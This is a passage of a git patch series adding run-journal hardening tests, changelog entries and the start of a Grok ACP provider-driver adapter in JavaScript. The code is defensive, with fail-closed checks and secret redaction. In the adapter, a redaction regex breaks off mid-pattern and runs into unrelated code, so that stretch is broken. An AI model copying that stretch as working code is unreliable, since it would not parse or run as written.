MAX_RUN_JOURNAL_ENTRIES); + const flooded = await errorOf(() => journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'p.over' }, + })); + assert.equal(flooded.code, 'run_journal_flood'); + + const stat = await lstat(path.join(journal.directory, 'journal.jsonl')); + assert.equal(stat.mode & 0o777, 0o600); + const dirStat = await lstat(journal.directory); + assert.equal(dirStat.mode & 0o777, 0o700); + const runsStat = await lstat(path.join(path.dirname(journal.directory))); + assert.equal(runsStat.mode & 0o777, 0o700); + }, { runId: 'run-journal-caps' }); +}); + +test('oversized single events are rejected before anything is written', async () => { + await withJournal(async ({ journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + const before = await readJournalFile(journal.directory); + const oversized = await errorOf(() => journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.' + 'x'.repeat(4000) }, + })); + assert.equal(oversized.code, 'invalid_format'); + assert.equal(await readJournalFile(journal.directory), before); + }); +}); + +test('mode tightening of the supplied root is respected as a privacy precondition', async () => { + const storeRoot = await makePrivateRoot('r1-p25-store-'); + const journalRoot = await makePrivateRoot('r1-p25-journal-'); + try { + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId: 'run-journal-mode' })); + await chmod(journalRoot, 0o755); + const unsafe = await errorOf(() => + createRunJournal({ root: journalRoot, store, run_id: 'run-journal-mode' })); + assert.equal(unsafe.code, 'run_journal_unsafe_path'); + await chmod(journalRoot, 0o700); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +}); + +test('hardlinked journal files fail closed', async () => { + await withJournal(async ({ journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + const journalPath = path.join(journal.directory, 'journal.jsonl'); + const scratch = await mkdtemp(path.join(tmpdir(), 'r1-p25-hardlink-')); + try { + const twin = path.join(scratch, 'twin.jsonl'); + await copyFile(journalPath, twin); + await rm(journalPath); + const { link } = await import('node:fs/promises'); + await link(twin, journalPath); + const stat = await lstat(journalPath); + assert.equal(stat.nlink, 2); + const hardlinked = await errorOf(() => journal.currentState()); + assert.equal(hardlinked.code, 'run_journal_not_regular'); + } finally { + await rm(scratch, { recursive: true, force: true }); + } + }); +}); From 99b6a410291e73386a96d13e93c253d11014e313 Mon Sep 17 00:00:00 2001 From: Ox Alpha Date: Sat, 22 Aug 2026 22:28:44 +0000 Subject: [PATCH 023/151] docs(changelog): record the P25 run journal Record the append-only run journal, deterministic terminal-absorbing reducer, and run-bound cursor in the unreleased changelog, and update the R1 future-work status to reflect P24+P25 library persistence while the scheduler, provider dispatch, workspace provisioning, cleanup, candidate composition, attention batch, and MCP wiring remain future work. --- CHANGELOG.md | 29 +++++++++++++++++++++++++++++ docs/future-work.md | 16 +++++++++------- 2 files changed, 38 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a5b9364..c092955 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,35 @@ ### Added +- **Append-only run journal, deterministic reducer, and run-bound cursor.** + Additive `run-reducer.mjs` / `run-journal.mjs` persist one bounded + append-only canonical JSONL event chain per run inside a private per-run + directory of a separate caller-supplied existing private journal root. + Every create/open/append/read first binds an exact validated accepted-P24 + durable run record (the `openRunStore(...)` handle and its `getByRunId` + result) by run identity and canonical digest, never writes into the P24 + root (sharing it fails closed), and re-verifies a creation stamp bound to + that record on every operation, so inode-reuse directory swaps fail hard. + Entries carry dense sequences over closed event and content-addressed + artifact-ref shapes chained by a domain-separated SHA-256 hash; appends + serialize in-process and cross-process through an exclusive lock with + bounded dead-owner and age-capped stale recovery, support compare-and-swap + `expected_seq`, exact head dedupe, typed replay/dedupe conflicts, and full + lattice validation before any byte is written. Publication uses + same-directory temporaries with file fsync, atomic rename, and directory + fsync for the journal first and the atomically published derived state + second, so crashes leave only unpublished temporaries or a stale cache + that exact replay rebuilds. A torn unterminated final line is the only + healable damage; committed corruption or regression, malformed or foreign + entries, symlinks, hardlinks, floods, oversized files, and path attacks + fail closed with typed constant errors. The pure deterministic + terminal-absorbing reducer projects monotonic child/run state, and opaque + run-bound checksummed cursors page bounded event windows whose + diagnostics stay content-free counts. There is no artifact verification, + scheduler or provider invocation, attention reduction, supervisor/server + wiring, cleanup/GC, semantic memory, merge authority, or protected-ref + implementation. Coverage lives in `r1-run-journal` and + `r1-run-journal-adversarial` tests. - **Durable local run store and idempotent submission.** Additive `run-store.mjs` persists one bounded canonical record per run in an explicit caller-supplied existing private directory. The store fails diff --git a/docs/future-work.md b/docs/future-work.md index 17bc0da..a8446e3 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -15,13 +15,15 @@ identity, with deterministic explicit/profile resolution, no direct mode on run submissions, disjoint writers, read-only verification, no post-dispatch fallback or replay, and Codex-only final acceptance. -A library-only durable run store now accepts an existing private directory -and persists identity-bound, idempotent submission records. It does not -implement the rest of the run runtime: there is no atomic journal or -reducer, scheduler, provider dispatch, workspace provisioning, cleanup, -candidate composition, `AttentionBatchV1`, or MCP wiring. Gate A remains -the functional release authority; Gate B context-efficiency and Gate C -credit economics stay advisory. +Library-only P24/P25 run persistence now accepts an existing private +directory, persists identity-bound idempotent submission records, and +appends a hash-chained per-run event journal with a deterministic +terminal-absorbing reducer and run-bound cursors. It does not implement the +rest of the run runtime: there is no scheduler, provider dispatch, +workspace provisioning, cleanup, candidate composition, `AttentionBatchV1`, +supervisor/server journal wiring, or MCP surface above the library layer. +Gate A remains the functional release authority; Gate B context-efficiency +and Gate C credit economics stay advisory. ## Durable, low-token agent completion waits From 04c904c4dac70ebd200ed467fc9e1f64de0bd3da Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 20:14:12 +0000 Subject: [PATCH 024/151] feat(grok): add the Grok ACP ProviderDriverV1 adapter Bind provider slot grok onto the accepted P17 preflight/launch/reconcile/cancel contract and the P05 13-field capability record. An injected bounded ACP transport confirms launch only after acknowledgement; post-spawn loss is dispatch_uncertain and is never replayed. --- .../mcp/v3/grok-acp-driver.mjs | 1122 +++++++++++++++++ 1 file changed, 1122 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs b/plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs new file mode 100644 index 0000000..3c1ea2d --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs @@ -0,0 +1,1122 @@ +// Grok ACP ProviderDriverV1 adapter (P18). +// +// Additive v3 module. It owns ONLY the Grok-specific binding of the accepted +// P17 envelope/capability contract onto an injected bounded ACP transport: +// - provider slot is exactly `grok` with the exact selected model; +// - launch proof is the P03 ChildEnvelopeV1 text bytes plus raw lowercase +// 64-hex digest (digest-only launches stay denied by P17); +// - capability declaration is the accepted P05/P17 13-field record +// (confirmed_launch, live_session_reply, local_managed_worktree, +// run_base_sha, never_replay, merge none, create_pr prohibited); +// - preflight/launch/reconcile/cancel talk to a process-injected transport +// suitable for deterministic tests, not a live Grok stdio client; +// - launch is `dispatched` only after an authoritative ACP acknowledgement; +// any exception, timeout, loss, or unusable receipt after spawn/dispatch +// intent is returned as `dispatch_uncertain` and is never retried, +// replayed, or fallback-substituted; +// - live progress, detailed events, same-session reply identity, +// cancellation confirmation, and restart reattach are supported exactly +// where Grok ACP supports them, with stale identities failing closed; +// - event pages, text, counts, cursors, timings, and diagnostics are capped; +// envelope/prompt content is dispatch evidence and must not enter +// telemetry or driver detail messages. +// +// This slice does not cut the supervisor over, does not claim durable +// P19/P21 state, and is not live-transport qualification. Process-local +// lane risk from P17 bind-on-throw remains: the adapter keeps its own +// spawn/dispatch-intent map so a thrown caller still cannot replay. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { timingSafeEqual as cryptoTimingSafeEqual } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { MAX_TIMEOUT_MS } from './contract.mjs'; +import { + capturedCreate, + capturedDefineProperty, + capturedDescriptor, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedJoin, + capturedTest, + capturedUtf8ByteLength, + isModelId, + sortedCapturedKeys, +} from './grammar.mjs'; +import { DIGEST_HEX_LENGTH, IDENTITY_LABELS } from './identity.mjs'; +import { parseChildEnvelopeV1 } from './prompt-compiler.mjs'; +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_FEATURE_VALUES, + DRIVER_OPERATIONS, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + RECONCILE_INCLUDE_VALUES, + assertProviderDriverV1, + bindProviderDriverV1, + validateDriverCancelRequestV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, + validateDriverPreflightRequestV1, + validateDriverReconcileRequestV1, +} from './provider-driver.mjs'; +import { boundedProviderValue } from './provider-result.mjs'; +import { + assertAllowedKeys, + assertBoundedText, + assertDenseJsonArray, + assertJsonDataObject, + isPlainObject, +} from './run-manifest.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + identityBoundDigest, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const GROK_PROVIDER_SLOT = 'grok'; +export const GROK_ACP_AGENT = 'grok-build'; +export const GROK_ACP_DRIVER_SCHEMA_ID = 'codex-co-engineer.grok-acp-driver.v1'; +export const GROK_ACP_TRANSPORT_SCHEMA_ID = 'codex-co-engineer.grok-acp-transport.v1'; +export const GROK_ACP_EVIDENCE_SCHEMA_ID = 'codex-co-engineer.grok-acp-evidence.v1'; +export const GROK_ACP_CAPABILITY_REVISION = 'p18.grok-acp.1'; + +export const GROK_ACP_TRANSPORT_OPERATIONS = capturedFreeze([ + 'preflight', 'spawn', 'dispatch', 'observe', 'cancel', 'reattach', +]); + +export const GROK_ACP_SESSION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const GROK_ACP_QUESTION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]{0,79}$/u; +export const GROK_ACP_CURSOR_PATTERN = /^[0-9]{1,16}$/u; +export const GROK_ACP_REQUEST_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; + +export const MAX_GROK_ACP_EVENT_PAGE = 32; +export const MAX_GROK_ACP_EVENT_TEXT_BYTES = 4 * 1024; +export const MAX_GROK_ACP_EVENT_BYTES = 32 * 1024; +export const MAX_GROK_ACP_EVENT_DEPTH = 6; +export const MAX_GROK_ACP_EVENT_ITEMS = 64; +export const MAX_GROK_ACP_EVENT_KEYS = 32; +export const MAX_GROK_ACP_EVIDENCE_BYTES = 32 * 1024; +export const MAX_GROK_ACP_ATTENTION_PROMPT_BYTES = 256; +export const MAX_GROK_ACP_TIMING_MS = MAX_TIMEOUT_MS; +export const MAX_GROK_ACP_EVENT_COUNT = 1_000_000; + +export const GROK_ACP_OBSERVE_STATUSES = capturedFreeze([ + 'running', 'needs_attention', 'completed', 'failed', 'cancelled', 'lost', +]); +export const GROK_ACP_CANCEL_OUTCOMES = capturedFreeze([ + 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); + +const CHILD_ENVELOPE_DIGEST_PATTERN = new RegExp(`^[0-9a-f]{${DIGEST_HEX_LENGTH}}$`, 'u'); +const DETAIL_CODE_PATTERN = /^[a-z0-9][a-z0-9._-]{0,63}$/u; +const DETAIL_MESSAGE_MAX_BYTES = 512; + +const ARRAY_PUSH = Array.prototype.push; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const IS_PROXY = utilTypes.isProxy; +const MAP_CTOR = Map; +const OBJECT_FREEZE = Object.freeze; +const SET_CTOR = Set; +const SET_ADD = SET_CTOR.prototype.add; +const SET_HAS = SET_CTOR.prototype.has; +const STRING = String; +const TIMING_SAFE_EQUAL = cryptoTimingSafeEqual; +const WEAK_MAP_CTOR = WeakMap; + +const OMIT_EVENT_KEYS = capturedFreeze([ + 'availablecommands', 'content', 'envelope_text', 'prompt', 'rawinput', 'rawoutput', +]); +const SENSITIVE_EVENT_KEY = /(?:api[_-]?key|authorization|access[_-]?token|refresh[_-]?token|bearer|token|password|secret|cookie|credential|private[_-]?key|(? 48 ? `${text.slice(0, 45)}...` : text; +} + +function detachFrozenJson(value) { + if (value === null || typeof value !== 'object') return value; + if (capturedIsArray(value)) { + const clone = []; + for (let index = 0; index < value.length; index += 1) { + ARRAY_PUSH.call(clone, detachFrozenJson(value[index])); + } + return OBJECT_FREEZE(clone); + } + const clone = {}; + const keys = sortedCapturedKeys(value); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + capturedDefineProperty(clone, key, { + value: detachFrozenJson(optOwn(value, key)), + enumerable: true, + configurable: false, + writable: false, + }); + } + return OBJECT_FREEZE(clone); +} + +function digestsEqual(left, right) { + return typeof left === 'string' && typeof right === 'string' + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, left) + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, right) + && TIMING_SAFE_EQUAL(BUFFER_FROM(left, 'hex'), BUFFER_FROM(right, 'hex')); +} + +function laneKey(runId, assignmentId) { + return `${runId}\u0000${assignmentId}`; +} + +function storeFor(driver) { + const store = DRIVER_STORES.get(driver); + if (store === undefined) { + fail('invalid_surface', 'grok_acp_driver', + 'inspectGrokAcpLaneEvidenceV1 requires a driver created by this adapter.'); + } + return store; +} + +function grokCapabilityRecord() { + return { + schema: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + artifact_kinds: capturedFreeze(['event_segment', 'git_diff', 'provider_report']), + create_pr_posture: 'prohibited', + dispatch_certainty: 'confirmed_launch', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + notes: GROK_ACP_NOTES, + provider: GROK_PROVIDER_SLOT, + replay_posture: 'never_replay', + revision: GROK_ACP_CAPABILITY_REVISION, + same_session_reply: 'live_session_reply', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }; +} + +export function grokAcpDriverDeclarationV1() { + return validateDriverDeclarationV1({ + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: grokCapabilityRecord(), + features: { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + }, + }); +} + +function assertPatternedId(value, pattern, path, label) { + if (typeof value !== 'string' || !capturedTest(pattern, value)) { + fail('invalid_format', path, `${path} must be a bounded ${label}.`); + } + return value; +} + +function assertDigest(value, path) { + if (typeof value !== 'string' || !capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, value)) { + fail('invalid_format', path, + `${path} must be a raw lowercase ${DIGEST_HEX_LENGTH}-hex sha256 digest.`); + } + return value; +} + +function assertExactModel(value, path) { + if (!isModelId(value)) { + fail('invalid_exact_model_selection', path, + `${path} must be the exact selected Grok model identifier.`); + } + return value; +} + +function identityFromEnvelope(envelope, childEnvelopeDigest) { + const provider = envelope.execution.provider; + if (provider !== GROK_PROVIDER_SLOT) { + fail('provider_slot_mismatch', 'envelope.execution.provider', + `The Grok ACP adapter hard-binds provider "${GROK_PROVIDER_SLOT}"; received ` + + `"${truncateForMessage(provider)}".`); + } + const model = envelope.execution.model; + if (typeof model !== 'string' || model.length === 0) { + fail('invalid_exact_model_selection', 'envelope.execution.model', + 'The Grok ACP adapter requires the exact selected model; digest-or-profile-only launches are denied.'); + } + assertExactModel(model, 'envelope.execution.model'); + if (envelope.starting_ref !== null) { + fail('capability_workspace_mismatch', 'envelope.starting_ref', + 'Grok lanes start at the run immutable base_sha and never carry a starting_ref.'); + } + return capturedFreeze({ + provider: GROK_PROVIDER_SLOT, + model, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + repository_path: envelope.repository.path, + child_envelope_digest: childEnvelopeDigest, + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }); +} + +function assertReceiptIdentity(receipt, identity, path) { + const expected = capturedFreeze({ + provider: identity.provider, + model: identity.model, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: identity.child_envelope_digest, + }); + for (const key of sortedCapturedKeys(expected)) { + if (!hasOwn(receipt, key)) { + fail('malformed_receipt', `${path}.${key}`, `${path}.${key} must echo the exact Grok lane identity.`); + } + const actual = optOwn(receipt, key); + const value = expected[key]; + const equal = key === 'child_envelope_digest' ? digestsEqual(actual, value) : actual === value; + if (!equal) { + fail('stale_identity_denied', `${path}.${key}`, + `${path}.${key} must echo ${truncateForMessage(value)}; received ${truncateForMessage(actual)}.`); + } + } + if (hasOwn(receipt, 'repository_path') && optOwn(receipt, 'repository_path') !== identity.repository_path) { + fail('stale_identity_denied', `${path}.repository_path`, + 'Transport workspace path does not match the exact managed worktree identity.'); + } +} + +function assertClosedReceipt(receipt, allowedKeys, path) { + if (receipt === undefined || receipt === null) { + fail('malformed_receipt', path, `${path} must be a plain transport receipt.`); + } + assertDirectJsonClosure(receipt, path); + assertPlainObject(receipt, 'malformed_receipt', path, path); + assertAllowedKeys(receipt, allowedKeys, path); +} + +function boundedDiagnosticMessage(code, fallback) { + const text = typeof fallback === 'string' && fallback.length > 0 ? fallback : code; + if (capturedUtf8ByteLength(text) <= DETAIL_MESSAGE_MAX_BYTES) return text; + return `${text.slice(0, 64)}`; +} + +function assertDetailPair(receipt, path) { + const code = optOwn(receipt, 'detail_code'); + const message = optOwn(receipt, 'detail_message'); + if (typeof code !== 'string' || !capturedTest(DETAIL_CODE_PATTERN, code)) { + fail('invalid_format', `${path}.detail_code`, + `${path}.detail_code violates the bounded detail-code grammar.`); + } + assertBoundedText(message, { + min: 1, max: DETAIL_MESSAGE_MAX_BYTES, path: `${path}.detail_message`, label: 'detail_message', + }); + return capturedFreeze({ detail_code: code, detail_message: message }); +} + +function sanitizeEventNode(value, depth, budget, seen) { + if (budget.remaining <= 0) return '[truncated]'; + if (value === null || typeof value === 'boolean') return value; + if (typeof value === 'number') { + if (!Number.isFinite(value)) return null; + return value; + } + if (typeof value === 'string') { + let text = value; + if (capturedUtf8ByteLength(text) > MAX_GROK_ACP_EVENT_TEXT_BYTES) { + text = `${text.slice(0, MAX_GROK_ACP_EVENT_TEXT_BYTES)}…`; + } + const size = capturedUtf8ByteLength(text); + if (size > budget.remaining) { + budget.remaining = 0; + return '[truncated]'; + } + budget.remaining -= size; + return text; + } + if (typeof value !== 'object') return '[redacted]'; + assertNotProxy(value, 'grok_acp.event'); + if (seen.has(value) || depth >= MAX_GROK_ACP_EVENT_DEPTH) return '[truncated]'; + seen.add(value); + if (capturedIsArray(value)) { + assertDenseJsonArray(value, 'grok_acp.event'); + const out = []; + const limit = Math.min(value.length, MAX_GROK_ACP_EVENT_ITEMS); + for (let index = 0; index < limit && budget.remaining > 0; index += 1) { + ARRAY_PUSH.call(out, sanitizeEventNode(ownDataValue(value, STRING(index), `grok_acp.event[${index}]`), + depth + 1, budget, seen)); + } + if (value.length > limit) ARRAY_PUSH.call(out, '[truncated]'); + return OBJECT_FREEZE(out); + } + if (!isPlainObject(value)) return '[redacted]'; + const out = {}; + const keys = sortedCapturedKeys(value); + const limit = Math.min(keys.length, MAX_GROK_ACP_EVENT_KEYS); + for (let index = 0; index < limit && budget.remaining > 0; index += 1) { + const key = keys[index]; + const normalized = key.toLowerCase(); + if (capturedIncludes(OMIT_EVENT_KEYS, normalized)) continue; + if (SENSITIVE_EVENT_KEY.test(key)) { + out[key] = '[redacted]'; + continue; + } + out[key] = sanitizeEventNode(optOwn(value, key), depth + 1, budget, seen); + } + return OBJECT_FREEZE(out); +} + +function boundEventPage(events, path) { + if (events === undefined) return capturedFreeze([]); + assertDenseJsonArray(events, path); + const start = Math.max(0, events.length - MAX_GROK_ACP_EVENT_PAGE); + const page = []; + const budget = { remaining: MAX_GROK_ACP_EVENT_BYTES }; + for (let index = start; index < events.length; index += 1) { + const entryPath = `${path}[${index}]`; + const event = ownDataValue(events, STRING(index), entryPath); + ARRAY_PUSH.call(page, sanitizeEventNode(event, 0, budget, new WeakSet())); + } + return capturedFreeze({ + events: OBJECT_FREEZE(page), + truncated: events.length > MAX_GROK_ACP_EVENT_PAGE || budget.remaining <= 0, + dropped_prefix: start, + }); +} + +function boundAttention(attention, sessionId, path) { + if (attention === undefined) return undefined; + assertClosedReceipt(attention, ATTENTION_KEYS, path); + const observedSession = assertPatternedId( + optOwn(attention, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, `${path}.session_id`, 'session_id', + ); + if (observedSession !== sessionId) { + fail('stale_identity_denied', `${path}.session_id`, + 'Attention session_id must match the live Grok ACP session; cross-session reply identity is denied.'); + } + const questionId = assertPatternedId( + optOwn(attention, 'question_id'), GROK_ACP_QUESTION_ID_PATTERN, `${path}.question_id`, 'question_id', + ); + const projected = { + session_id: observedSession, + question_id: questionId, + }; + if (hasOwn(attention, 'prompt')) { + const prompt = optOwn(attention, 'prompt'); + if (typeof prompt !== 'string') { + fail('invalid_type', `${path}.prompt`, `${path}.prompt must be a string when present.`); + } + projected.prompt = capturedUtf8ByteLength(prompt) > MAX_GROK_ACP_ATTENTION_PROMPT_BYTES + ? `${prompt.slice(0, MAX_GROK_ACP_ATTENTION_PROMPT_BYTES)}…` + : prompt; + } + return freezeData(projected); +} + +function boundProgress(progress, path) { + if (progress === undefined) return undefined; + assertClosedReceipt(progress, PROGRESS_KEYS, path); + const projected = {}; + if (hasOwn(progress, 'cursor')) { + projected.cursor = assertPatternedId( + optOwn(progress, 'cursor'), GROK_ACP_CURSOR_PATTERN, `${path}.cursor`, 'event cursor', + ); + } + if (hasOwn(progress, 'event_count')) { + const count = optOwn(progress, 'event_count'); + if (!Number.isSafeInteger(count) || count < 0 || count > MAX_GROK_ACP_EVENT_COUNT) { + fail('invalid_format', `${path}.event_count`, + `${path}.event_count must be a bounded integer count.`); + } + projected.event_count = count; + } + if (hasOwn(progress, 'elapsed_ms')) { + const elapsed = optOwn(progress, 'elapsed_ms'); + if (!Number.isSafeInteger(elapsed) || elapsed < 0 || elapsed > MAX_GROK_ACP_TIMING_MS) { + fail('invalid_format', `${path}.elapsed_ms`, + `${path}.elapsed_ms must be a bounded millisecond timing.`); + } + projected.elapsed_ms = elapsed; + } + if (hasOwn(progress, 'status')) { + const status = optOwn(progress, 'status'); + if (!capturedIncludes(GROK_ACP_OBSERVE_STATUSES, status)) { + fail('invalid_format', `${path}.status`, + `${path}.status must be one of ${capturedJoin(GROK_ACP_OBSERVE_STATUSES, ', ')}.`); + } + projected.status = status; + } + return freezeData(projected); +} + +function projectEvidence(observe, include, identity, sessionId) { + const wantEvents = capturedIncludes(include, 'detailed_events'); + const wantProgress = capturedIncludes(include, 'live_progress'); + const page = wantEvents ? boundEventPage(optOwn(observe, 'events'), 'transport.observe.events') : capturedFreeze({ + events: capturedFreeze([]), truncated: false, dropped_prefix: 0, + }); + const progress = wantProgress || hasOwn(observe, 'progress') || hasOwn(observe, 'cursor') + || hasOwn(observe, 'elapsed_ms') || hasOwn(observe, 'event_count') + ? boundProgress({ + ...(hasOwn(observe, 'progress') ? optOwn(observe, 'progress') : {}), + ...(hasOwn(observe, 'cursor') ? { cursor: optOwn(observe, 'cursor') } : {}), + ...(hasOwn(observe, 'elapsed_ms') ? { elapsed_ms: optOwn(observe, 'elapsed_ms') } : {}), + ...(hasOwn(observe, 'event_count') ? { event_count: optOwn(observe, 'event_count') } : {}), + ...(hasOwn(observe, 'status') ? { status: optOwn(observe, 'status') } : {}), + }, 'transport.observe.progress') + : undefined; + const attention = hasOwn(observe, 'attention') + ? boundAttention(optOwn(observe, 'attention'), sessionId, 'transport.observe.attention') + : undefined; + const projected = { + schema: GROK_ACP_EVIDENCE_SCHEMA_ID, + provider: identity.provider, + model: identity.model, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: identity.child_envelope_digest, + session_id: sessionId, + status: optOwn(observe, 'status'), + truncated: page.truncated === true, + }; + if (wantEvents) projected.events = page.events; + if (wantProgress && progress !== undefined) projected.progress = progress; + if (attention !== undefined) projected.attention = attention; + if (progress?.cursor !== undefined) projected.cursor = progress.cursor; + else if (hasOwn(observe, 'cursor')) { + projected.cursor = assertPatternedId( + optOwn(observe, 'cursor'), GROK_ACP_CURSOR_PATTERN, 'transport.observe.cursor', 'event cursor', + ); + } + const bounded = boundedProviderValue(projected, { + limit: MAX_GROK_ACP_EVENT_TEXT_BYTES, + maxDepth: MAX_GROK_ACP_EVENT_DEPTH, + maxItems: MAX_GROK_ACP_EVENT_ITEMS, + maxBytes: MAX_GROK_ACP_EVIDENCE_BYTES, + }); + return freezeData({ + ...bounded.value, + evidence_truncated: bounded.result_truncated === true || page.truncated === true, + }); +} + +function driverResult(operation, identity, disposition, details = {}) { + const result = { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: identity.child_envelope_digest, + disposition, + }; + if (details.detail_code !== undefined) result.detail_code = details.detail_code; + if (details.detail_message !== undefined) result.detail_message = details.detail_message; + return freezeData(result); +} + +function isPostSpawnFailure(error) { + if (error === null || typeof error !== 'object') return false; + if (error.spawned === true) return true; + return typeof error.code === 'string' && capturedIncludes(POST_SPAWN_ERROR_CODES, error.code); +} + +function callTransport(store, operation, request) { + const handler = capturedDescriptor(store.handlers, operation)?.value; + if (typeof handler !== 'function' || IS_PROXY(handler)) { + fail('invalid_operation', `grok_acp_transport.${operation}`, + `grok_acp_transport.${operation} must be a concrete function.`); + } + return handler.call(store.transport, request); +} + +function transportIdentityRequest(identity, extras = {}) { + return detachFrozenJson({ + provider: identity.provider, + model: identity.model, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + repository_path: identity.repository_path, + child_envelope_digest: identity.child_envelope_digest, + workspace_semantics: identity.workspace_semantics, + workspace_starting_point: identity.workspace_starting_point, + ...extras, + }); +} + +function assertNoContentKeys(request, path) { + if (hasOwn(request, 'envelope_text') || hasOwn(request, 'prompt') || hasOwn(request, 'text')) { + fail('content_in_telemetry_denied', path, + `${path} must not carry envelope or prompt content; that byte string is dispatch evidence only.`); + } +} + +function getLane(store, identity) { + return store.lanes.get(laneKey(identity.run_id, identity.assignment_id)); +} + +function putLane(store, identity, record) { + store.lanes.set(laneKey(identity.run_id, identity.assignment_id), capturedFreeze({ + ...record, + identity, + })); +} + +function assertLaneIdentity(record, identity, path) { + if (record === undefined) return; + if (!digestsEqual(record.identity.child_envelope_digest, identity.child_envelope_digest) + || record.identity.model !== identity.model + || record.identity.base_sha !== identity.base_sha + || record.identity.repository_path !== identity.repository_path + || record.identity.provider !== identity.provider) { + fail('stale_identity_denied', path, + 'Session/run/child/model/workspace identity does not match the exact Grok lane previously observed.'); + } +} + +function dispatchRequestId(identity, sessionId) { + const digest = identityBoundDigest(IDENTITY_LABELS.DISPATCH_ATTEMPT, { + assignment_id: identity.assignment_id, + child_envelope_digest: identity.child_envelope_digest, + model: identity.model, + provider: identity.provider, + run_id: identity.run_id, + session_id: sessionId, + }); + if (!capturedTest(SHA256_DIGEST_PATTERN, digest)) { + fail('invalid_format', 'dispatch.request_id', 'Dispatch request id binding must be a sha256 digest.'); + } + return `gak-${digest.slice('sha256:'.length, 'sha256:'.length + 32)}`; +} + +export function assertGrokAcpTransportV1(transport) { + const path = 'grok_acp_transport'; + if (transport !== null && (typeof transport === 'object' || typeof transport === 'function') + && IS_PROXY(transport)) { + fail('proxy_denied', path, + `${path} is a live or revoked Proxy; the Grok adapter accepts a concrete injected transport only.`); + } + if (!isPlainObject(transport)) { + if (typeof transport === 'object' && transport !== null && !capturedIsArray(transport)) { + fail('exotic_prototype_denied', path, + `${path} must use the standard or null object prototype; exotic prototypes are denied.`); + } + fail('invalid_type', path, + `${path} must be a plain record of the closed Grok ACP transport operations.`); + } + const entries = assertJsonDataObject(transport, path); + if (entries.length !== GROK_ACP_TRANSPORT_OPERATIONS.length + || entries.some(({ key }) => !capturedIncludes(GROK_ACP_TRANSPORT_OPERATIONS, key))) { + const received = entries.map(({ key }) => key).join(', ') || 'none'; + fail('invalid_surface', path, + `${path} must expose exactly ${capturedJoin(GROK_ACP_TRANSPORT_OPERATIONS, ', ')}; received ${received}.`); + } + for (const { key, value } of entries) { + if (typeof value !== 'function' || IS_PROXY(value)) { + fail('invalid_operation', `${path}.${key}`, + `${path}.${key} must be a concrete function implementing "${key}".`); + } + } + return capturedFreeze({ + schema: GROK_ACP_TRANSPORT_SCHEMA_ID, + operations: capturedFreeze([...GROK_ACP_TRANSPORT_OPERATIONS]), + provider: GROK_PROVIDER_SLOT, + agent: GROK_ACP_AGENT, + }); +} + +function runPreflight(store, request) { + const view = validateDriverPreflightRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (prior !== undefined && capturedIncludes( + ['spawned', 'dispatch_uncertain', 'dispatched', 'in_progress', 'unresolved_attention', + 'terminal', 'cancel_requested', 'cancel_confirmed'], + prior.state, + )) { + fail('invalid_transition', 'driver.preflight.request', + 'Preflight cannot run after a Grok prompt may have been dispatched; reconcile or cancel instead.'); + } + const probe = transportIdentityRequest(identity); + assertNoContentKeys(probe, 'grok_acp_transport.preflight.request'); + let receipt; + try { + receipt = callTransport(store, 'preflight', probe); 